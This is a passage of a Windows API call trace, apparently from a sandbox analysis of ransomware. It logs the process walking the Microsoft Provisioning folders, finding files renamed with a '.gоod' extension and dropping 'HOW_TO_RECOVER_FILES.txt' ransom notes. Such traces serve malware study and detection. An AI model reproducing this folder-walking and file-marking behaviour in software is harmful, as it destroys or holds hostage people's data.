cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0141.832] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.832] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0141.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0141.833] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", nBufferLength=0x105, lpBuffer=0x10faab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", lpFilePart=0x0) returned 0x3a [0141.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10faf80) returned 1 [0141.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml"), fInfoLevelId=0x0, lpFileInformation=0x3a765f0 | out: lpFileInformation=0x3a765f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb)) returned 1 [0141.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10faf40) returned 1 [0141.833] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", nBufferLength=0x105, lpBuffer=0x10fa960, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml", lpFilePart=0x0) returned 0x3a [0141.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae80) returned 1 [0141.833] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7870) returned 1 [0141.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.835] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x50 [0141.835] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d48b8b3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.835] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d48b8b3, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.835] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3c946b08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x990, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0141.836] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7d2d3e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d903f3f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.836] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3d48b8b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0141.836] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0141.836] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0141.836] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.836] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0141.836] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", lpFilePart=0x0) returned 0x50 [0141.836] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.837] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d7d2d3e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.837] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ea7c91, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ea7c91, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3c946b08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x990, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0141.837] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7d2d3e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d7d2d3e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d903f3f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.837] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3d48b8b3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0141.837] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0141.837] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.837] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0141.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0141.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0141.837] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x55 [0141.837] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d57076f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.838] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0141.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0141.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0141.838] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov", lpFilePart=0x0) returned 0x55 [0141.838] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d57076f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0141.838] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 0 [0141.838] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0141.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0141.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0141.839] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0141.839] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.839] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.839] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0141.839] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d57076f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0141.839] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0141.839] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0141.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0141.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0141.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0141.839] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0141.839] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0141.840] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3d57076f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3d57076f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.840] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, 